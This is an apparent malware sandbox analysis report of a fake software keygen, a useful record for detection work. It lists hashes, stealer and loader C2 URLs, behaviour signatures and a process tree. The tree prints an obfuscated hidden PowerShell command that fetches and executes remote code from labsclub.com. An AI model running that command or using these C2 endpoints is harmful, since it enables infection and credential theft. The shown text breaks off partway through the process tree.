Resubmissions

06/04/2021, 13:50

210406-gc51ndzsc2 10

26/03/2021, 23:40

210326-d1ybrjhevx 10

13/03/2021, 17:16

210313-8s7b52z63e 10

05/03/2021, 14:52

210305-34k3zj54f2 10

01/03/2021, 13:17

210301-naamxpgf4e 10

28/02/2021, 20:46

210228-6q3b959xae 10

28/02/2021, 20:15

210228-mbr268za12 10

28/02/2021, 18:32

210228-h944b5cpxa 10

28/02/2021, 15:10

210228-hnwwpyjy7j 10

Analysis

  • max time kernel
    55s
  • max time network
    446s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    28/02/2021, 18:32

Errors

Reason
Machine shutdown

General

  • Target

    [CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe

  • Size

    9.2MB

  • MD5

    b806267b5f3b7760df56396b1cf05e6d

  • SHA1

    5166d4c1d3e476281d9e991eababc3e4aa9ec5ad

  • SHA256

    f95d12a0dbd8199d16f48d8e4cbe69a8d4ec16c534efb36e52a662664e1c1783

  • SHA512

    30e393bb3898edc8ab5fb04e62ce421ddf3903075f59e3880408b300f46bb74a85088336d6e1203b2101152cebeef4c1730290b41ca77604ecb722c8f627328b

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://labsclub.com/welcome

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Extracted

Family

metasploit

Version

windows/single_exec

Extracted

Family

smokeloader

Version

2020

C2

http://naritouzina.net/

http://nukaraguasleep.net/

http://notfortuaj.net/

http://natuturalistic.net/

http://zaniolofusa.net/

http://4zavr.com/upload/

http://zynds.com/upload/

http://atvua.com/upload/

http://detse.net/upload/

http://dsdett.com/upload/

http://dtabasee.com/upload/

http://yeronogles.monster/upload/

rc4.i32
rc4.i32

Extracted

Family

smokeloader

Version

2019

C2

http://10022020newfolder1002002131-service1002.space/

http://10022020newfolder1002002231-service1002.space/

http://10022020newfolder3100231-service1002.space/

http://10022020newfolder1002002431-service1002.space/

http://10022020newfolder1002002531-service1002.space/

http://10022020newfolder33417-01242510022020.space/

http://10022020test125831-service1002012510022020.space/

http://10022020test136831-service1002012510022020.space/

http://10022020test147831-service1002012510022020.space/

http://10022020test146831-service1002012510022020.space/

http://10022020test134831-service1002012510022020.space/

http://10022020est213531-service100201242510022020.ru/

http://10022020yes1t3481-service1002012510022020.ru/

http://10022020test13561-service1002012510022020.su/

http://10022020test14781-service1002012510022020.info/

http://10022020test13461-service1002012510022020.net/

http://10022020test15671-service1002012510022020.tech/

http://10022020test12671-service1002012510022020.online/

http://10022020utest1341-service1002012510022020.ru/

http://10022020uest71-service100201dom2510022020.ru/

rc4.i32
rc4.i32

Extracted

Family

raccoon

Botnet

9ba64f4b6fe448911470a88f09d6e7d5b92ff0ab

Attributes
  • url4cnc

    https://telete.in/jagressor_kz

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

e4d9483b3bf93472877ddcf6765b01165102aed5

Attributes
  • url4cnc

    https://telete.in/s3santodomingo

rc4.plain
rc4.plain

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • DiamondFox

    DiamondFox is a multipurpose botnet with many capabilities.

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba Payload 6 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Pony,Fareit

    Pony is a Remote Access Trojan application that steals information.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 8 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • DiamondFox payload 2 IoCs

    Detects DiamondFox payload in file/memory.

  • Nirsoft 5 IoCs
  • XMRig Miner Payload 4 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 41 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 6 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Obfuscated with Agile.Net obfuscator 1 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Uses the VBS compiler for execution 1 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks for any installed AV software in registry 1 TTPs 53 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 4 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 12 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 48 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 21 IoCs
  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 2 IoCs
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 4 IoCs
  • Modifies data under HKEY_USERS 1 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Runs .reg file with regedit 2 IoCs
  • Runs ping.exe 1 TTPs 6 IoCs
  • Script User-Agent 5 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
    "C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3636
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:192
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
        keygen-pr.exe -p83fsase3Ge
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3944
        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4004
          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
            C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
            5⤵
            • Executes dropped EXE
            PID:3980
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
        keygen-step-1.exe
        3⤵
        • Executes dropped EXE
        PID:2776
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
        keygen-step-3.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1308
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3920
          • C:\Windows\SysWOW64\PING.EXE
            ping 1.1.1.1 -n 1 -w 3000
            5⤵
            • Runs ping.exe
            PID:2180
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
        keygen-step-4.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2328
        • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"
          4⤵
          • Executes dropped EXE
          • Checks whether UAC is enabled
          • Writes to the Master Boot Record (MBR)
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Modifies system certificate store
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2064
          • C:\Windows\SysWOW64\msiexec.exe
            msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"
            5⤵
            • Enumerates connected drives
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:2116
          • C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe
            C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 0011 installp1
            5⤵
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Writes to the Master Boot Record (MBR)
            • Suspicious use of SetThreadContext
            • Checks SCSI registry key(s)
            • Suspicious use of SetWindowsHookEx
            PID:2184
            • C:\Program Files\Mozilla Firefox\firefox.exe
              "C:\Program Files\Mozilla Firefox\firefox.exe"
              6⤵
              • Suspicious use of SetWindowsHookEx
              PID:2168
            • C:\Users\Admin\AppData\Roaming\1614540980659.exe
              "C:\Users\Admin\AppData\Roaming\1614540980659.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614540980659.txt"
              6⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of SetWindowsHookEx
              PID:4120
            • C:\Program Files\Mozilla Firefox\firefox.exe
              "C:\Program Files\Mozilla Firefox\firefox.exe"
              6⤵
              • Suspicious use of SetWindowsHookEx
              PID:4560
            • C:\Users\Admin\AppData\Roaming\1614540985878.exe
              "C:\Users\Admin\AppData\Roaming\1614540985878.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614540985878.txt"
              6⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of SetWindowsHookEx
              PID:4572
            • C:\Program Files\Mozilla Firefox\firefox.exe
              "C:\Program Files\Mozilla Firefox\firefox.exe"
              6⤵
              • Suspicious use of SetWindowsHookEx
              PID:2236
            • C:\Users\Admin\AppData\Roaming\1614540991644.exe
              "C:\Users\Admin\AppData\Roaming\1614540991644.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614540991644.txt"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetWindowsHookEx
              PID:4480
            • C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe
              C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"
              6⤵
                PID:5428
              • C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe
                "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe" -StartTP
                6⤵
                  PID:5812
                • C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe
                  C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe /silent
                  6⤵
                    PID:4612
                    • C:\Users\Admin\AppData\Local\Temp\is-H84G4.tmp\23E04C4F32EF2158.tmp
                      "C:\Users\Admin\AppData\Local\Temp\is-H84G4.tmp\23E04C4F32EF2158.tmp" /SL5="$104AC,746887,121344,C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe" /silent
                      7⤵
                        PID:4236
                        • C:\Windows\SysWOW64\cmd.exe
                          "cmd.exe" /c "start https://iplogger.org/14Zhe7"
                          8⤵
                            PID:6344
                          • C:\Program Files (x86)\DTS\seed.sfx.exe
                            "C:\Program Files (x86)\DTS\seed.sfx.exe" -pX7mdks39WE0 -s1
                            8⤵
                              PID:6336
                              • C:\Program Files (x86)\Seed Trade\Seed\seed.exe
                                "C:\Program Files (x86)\Seed Trade\Seed\seed.exe"
                                9⤵
                                  PID:6572
                                • C:\Program Files (x86)\Seed Trade\Seed\seed.exe
                                  "C:\Program Files (x86)\Seed Trade\Seed\seed.exe"
                                  9⤵
                                    PID:6704
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"
                              6⤵
                                PID:6848
                                • C:\Windows\SysWOW64\PING.EXE
                                  ping 127.0.0.1 -n 3
                                  7⤵
                                  • Runs ping.exe
                                  PID:7004
                            • C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe
                              C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 200 installp1
                              5⤵
                              • Executes dropped EXE
                              • Checks whether UAC is enabled
                              • Writes to the Master Boot Record (MBR)
                              • Checks SCSI registry key(s)
                              • Suspicious use of SetWindowsHookEx
                              PID:2228
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd.exe /c taskkill /f /im chrome.exe
                                6⤵
                                  PID:3008
                                  • C:\Windows\SysWOW64\taskkill.exe
                                    taskkill /f /im chrome.exe
                                    7⤵
                                    • Kills process with taskkill
                                    PID:3364
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"
                                  6⤵
                                    PID:4256
                                    • C:\Windows\SysWOW64\PING.EXE
                                      ping 127.0.0.1 -n 3
                                      7⤵
                                      • Runs ping.exe
                                      PID:4436
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"
                                  5⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:2916
                                  • C:\Windows\SysWOW64\PING.EXE
                                    ping 127.0.0.1 -n 3
                                    6⤵
                                    • Runs ping.exe
                                    PID:3124
                              • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe
                                "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"
                                4⤵
                                • Executes dropped EXE
                                • Suspicious use of WriteProcessMemory
                                PID:1336
                                • C:\Users\Admin\AppData\Local\Temp\S8AEA6P52S\multitimer.exe
                                  "C:\Users\Admin\AppData\Local\Temp\S8AEA6P52S\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
                                  5⤵
                                  • Executes dropped EXE
                                  • Drops file in Windows directory
                                  PID:2496
                                  • C:\Users\Admin\AppData\Local\Temp\S8AEA6P52S\multitimer.exe
                                    "C:\Users\Admin\AppData\Local\Temp\S8AEA6P52S\multitimer.exe" 1 3.1614537170.603be1d2625af 101
                                    6⤵
                                    • Executes dropped EXE
                                    • Adds Run key to start application
                                    PID:4300
                                    • C:\Users\Admin\AppData\Local\Temp\S8AEA6P52S\multitimer.exe
                                      "C:\Users\Admin\AppData\Local\Temp\S8AEA6P52S\multitimer.exe" 2 3.1614537170.603be1d2625af
                                      7⤵
                                      • Executes dropped EXE
                                      • Checks for any installed AV software in registry
                                      • Maps connected drives based on registry
                                      • Enumerates system info in registry
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:4448
                                      • C:\Users\Admin\AppData\Local\Temp\23mypanrwqg\safebits.exe
                                        "C:\Users\Admin\AppData\Local\Temp\23mypanrwqg\safebits.exe" /S /pubid=1 /subid=451
                                        8⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetWindowsHookEx
                                        PID:2340
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 2340 -s 640
                                          9⤵
                                          • Program crash
                                          PID:4108
                                      • C:\Users\Admin\AppData\Local\Temp\bacw0iwzbhp\r2jpjl0jq5k.exe
                                        "C:\Users\Admin\AppData\Local\Temp\bacw0iwzbhp\r2jpjl0jq5k.exe" /VERYSILENT
                                        8⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetWindowsHookEx
                                        PID:1532
                                        • C:\Users\Admin\AppData\Local\Temp\is-V3SPF.tmp\r2jpjl0jq5k.tmp
                                          "C:\Users\Admin\AppData\Local\Temp\is-V3SPF.tmp\r2jpjl0jq5k.tmp" /SL5="$30136,870426,780800,C:\Users\Admin\AppData\Local\Temp\bacw0iwzbhp\r2jpjl0jq5k.exe" /VERYSILENT
                                          9⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • Suspicious use of SetWindowsHookEx
                                          PID:4196
                                          • C:\Users\Admin\AppData\Local\Temp\is-846JI.tmp\winlthst.exe
                                            "C:\Users\Admin\AppData\Local\Temp\is-846JI.tmp\winlthst.exe" test1 test1
                                            10⤵
                                              PID:5644
                                              • C:\Users\Admin\AppData\Local\Temp\X3ENWxIug.exe
                                                "C:\Users\Admin\AppData\Local\Temp\X3ENWxIug.exe"
                                                11⤵
                                                  PID:4628
                                                  • C:\Users\Admin\AppData\Local\Temp\X3ENWxIug.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\X3ENWxIug.exe"
                                                    12⤵
                                                      PID:4024
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
                                                    11⤵
                                                      PID:6708
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
                                                        12⤵
                                                          PID:4180
                                                • C:\Users\Admin\AppData\Local\Temp\s22hwprxfye\vict.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\s22hwprxfye\vict.exe" /VERYSILENT /id=535
                                                  8⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of SetWindowsHookEx
                                                  PID:1740
                                                  • C:\Users\Admin\AppData\Local\Temp\is-8ERI8.tmp\vict.tmp
                                                    "C:\Users\Admin\AppData\Local\Temp\is-8ERI8.tmp\vict.tmp" /SL5="$301FE,870426,780800,C:\Users\Admin\AppData\Local\Temp\s22hwprxfye\vict.exe" /VERYSILENT /id=535
                                                    9⤵
                                                    • Executes dropped EXE
                                                    • Loads dropped DLL
                                                    • Suspicious use of SetWindowsHookEx
                                                    PID:4600
                                                    • C:\Users\Admin\AppData\Local\Temp\is-HE1FB.tmp\wimapi.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\is-HE1FB.tmp\wimapi.exe" 535
                                                      10⤵
                                                        PID:2400
                                                        • C:\Users\Admin\AppData\Local\Temp\aeAbqGwVD.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\aeAbqGwVD.exe"
                                                          11⤵
                                                            PID:5264
                                                            • C:\Users\Admin\AppData\Local\Temp\aeAbqGwVD.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\aeAbqGwVD.exe"
                                                              12⤵
                                                                PID:5228
                                                                • C:\Users\Admin\AppData\Local\Temp\1614541064306.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\1614541064306.exe"
                                                                  13⤵
                                                                    PID:3952
                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
                                                                      14⤵
                                                                        PID:5436
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
                                                                  11⤵
                                                                    PID:6424
                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
                                                                      12⤵
                                                                        PID:6244
                                                              • C:\Users\Admin\AppData\Local\Temp\jla4h1rjwyo\Setup3310.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\jla4h1rjwyo\Setup3310.exe" /Verysilent /subid=577
                                                                8⤵
                                                                • Executes dropped EXE
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:3056
                                                                • C:\Users\Admin\AppData\Local\Temp\is-6T9O8.tmp\Setup3310.tmp
                                                                  "C:\Users\Admin\AppData\Local\Temp\is-6T9O8.tmp\Setup3310.tmp" /SL5="$201F4,802346,56832,C:\Users\Admin\AppData\Local\Temp\jla4h1rjwyo\Setup3310.exe" /Verysilent /subid=577
                                                                  9⤵
                                                                  • Executes dropped EXE
                                                                  • Loads dropped DLL
                                                                  • Suspicious use of FindShellTrayWindow
                                                                  • Suspicious use of SetWindowsHookEx
                                                                  PID:4408
                                                                  • C:\Users\Admin\AppData\Local\Temp\is-K69CA.tmp\Setup.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\is-K69CA.tmp\Setup.exe" /Verysilent
                                                                    10⤵
                                                                      PID:5584
                                                                      • C:\Users\Admin\AppData\Local\Temp\is-G4HPK.tmp\Setup.tmp
                                                                        "C:\Users\Admin\AppData\Local\Temp\is-G4HPK.tmp\Setup.tmp" /SL5="$50118,802346,56832,C:\Users\Admin\AppData\Local\Temp\is-K69CA.tmp\Setup.exe" /Verysilent
                                                                        11⤵
                                                                          PID:5640
                                                                          • C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\ProPlugin.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\ProPlugin.exe" /Verysilent
                                                                            12⤵
                                                                              PID:6128
                                                                              • C:\Users\Admin\AppData\Local\Temp\is-84636.tmp\ProPlugin.tmp
                                                                                "C:\Users\Admin\AppData\Local\Temp\is-84636.tmp\ProPlugin.tmp" /SL5="$20416,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-58FF4.tmp\ProPlugin.exe" /Verysilent
                                                                                13⤵
                                                                                  PID:5796
                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-P3AFL.tmp\Setup.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-P3AFL.tmp\Setup.exe"
                                                                                    14⤵
                                                                                      PID:5404
                                                                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe"
                                                                                        15⤵
                                                                                          PID:4112
                                                                                          • C:\Windows\SYSTEM32\TASKKILL.exe
                                                                                            TASKKILL /F /IM chrome.exe
                                                                                            16⤵
                                                                                            • Kills process with taskkill
                                                                                            PID:6164
                                                                                          • C:\Windows\regedit.exe
                                                                                            regedit /s chrome.reg
                                                                                            16⤵
                                                                                            • Runs .reg file with regedit
                                                                                            PID:6172
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c chrome64.bat
                                                                                            16⤵
                                                                                              PID:6352
                                                                                              • C:\Windows\system32\mshta.exe
                                                                                                mshta vbscript:createobject("wscript.shell").run("chrome64.bat h",0)(window.close)
                                                                                                17⤵
                                                                                                  PID:6492
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX1\chrome64.bat" h"
                                                                                                    18⤵
                                                                                                      PID:6784
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:/Program Files/Google/Chrome/Application/chrome.exe"
                                                                                                        19⤵
                                                                                                          PID:6920
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ff8e4956e00,0x7ff8e4956e10,0x7ff8e4956e20
                                                                                                            20⤵
                                                                                                              PID:6960
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1520 /prefetch:2
                                                                                                              20⤵
                                                                                                                PID:4504
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1904 /prefetch:8
                                                                                                                20⤵
                                                                                                                  PID:5012
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2204 /prefetch:8
                                                                                                                  20⤵
                                                                                                                    PID:6332
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2944 /prefetch:1
                                                                                                                    20⤵
                                                                                                                      PID:3688
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2816 /prefetch:1
                                                                                                                      20⤵
                                                                                                                        PID:4376
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3552 /prefetch:1
                                                                                                                        20⤵
                                                                                                                          PID:6116
                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1508,6661830781443654060,3002089255255049049,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3768 /prefetch:1
                                                                                                                          20⤵
                                                                                                                            PID:5236
                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
